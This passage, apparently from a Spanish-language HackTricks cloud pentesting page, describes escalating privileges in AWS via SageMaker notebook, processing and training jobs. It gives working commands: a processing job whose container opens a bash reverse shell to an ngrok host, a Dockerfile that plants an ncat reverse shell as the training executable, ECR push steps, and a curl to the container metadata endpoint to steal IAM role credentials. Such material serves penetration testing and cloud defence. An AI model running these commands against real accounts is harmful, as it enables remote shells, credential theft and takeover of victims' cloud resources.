El siguiente contenido debe contener un campo NotebookInstanceArn, que contendrá el ARN de la instancia de notebook recién creada. Luego podemos usar la API create-presigned-notebook-instance-url para generar una URL que podremos utilizar para acceder a la instancia de notebook una vez que esté lista:
Accede a la URL con el navegador y haz clic en Abrir JupyterLab en la esquina superior derecha, luego desplázate hacia abajo hasta la pestaña "Launcher" y, en la sección "Otros", haz clic en el botón "Terminal".
Ahora es posible acceder a las credenciales de metadatos del Rol IAM.
Impacto Potencial: Escalada de privilegios al rol de servicio de sagemaker especificado.
sagemaker:CreatePresignedNotebookInstanceUrl
Si ya hay notebooks de Jupyter en ejecución y puedes listarlos con sagemaker:ListNotebookInstances (o descubrirlos de cualquier otra manera), puedes generar una URL para ellos, acceder a ellos y robar las credenciales como se indica en la técnica anterior.
Impacto Potencial: Escalada de privilegios al rol de servicio de sagemaker adjunto.
sagemaker:CreateProcessingJob,iam:PassRole
Un atacante con esos permisos puede hacer que sagemaker ejecute un trabajo de procesamiento con un rol de sagemaker adjunto. El atacante puede indicar la definición del contenedor que se ejecutará en una instancia de cuenta de ECS administrada por AWS, y robar las credenciales del rol de IAM adjunto.
# I uploaded a python docker image to the ECRawssagemakercreate-processing-job \--processing-job-name privescjob \--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role># In my tests it took 10min to receive the shellcurl"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"#To get the creds
Impacto Potencial: Escalada de privilegios al rol de servicio de sagemaker especificado.
sagemaker:CreateTrainingJob, iam:PassRole
Un atacante con esos permisos podrá crear un trabajo de entrenamiento, ejecutando un contenedor arbitrario en él con un rol adjunto. Por lo tanto, el atacante podrá robar las credenciales del rol.
Este escenario es más difícil de explotar que el anterior porque necesitas generar una imagen de Docker que enviará la rev shell o credenciales directamente al atacante (no puedes indicar un comando de inicio en la configuración del trabajo de entrenamiento).
# Create docker imagemkdir/tmp/rev## Note that the trainning job is going to call an executable called "train"## That's why I'm putting the rev shell in /bin/train## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>cat>/tmp/rev/Dockerfile<<EOFFROM ubuntuRUN apt update && apt install -y ncat curlRUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/trainRUN chmod +x /bin/trainCMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/shEOFcd/tmp/revsudodockerbuild.-treverseshell# Upload it to ECRsudodockerlogin-uAWS-p$(awsecrget-login-password--region<region>)<id>.dkr.ecr.<region>.amazonaws.com/<repo>sudodockertagreverseshell:latest<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latestsudodockerpush<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
**Impacto Potencial:** Privesc al rol de servicio de sagemaker especificado.
## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
Un atacante con esos permisos (potencialmente) podrá crear un **trabajo de ajuste de hiperparámetros**, **ejecutar un contenedor arbitrario** en él con un **rol adjunto**.\
_No he explotado debido a la falta de tiempo, pero parece similar a los exploits anteriores, siéntase libre de enviar un PR con los detalles de la explotación._
# Referencias
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>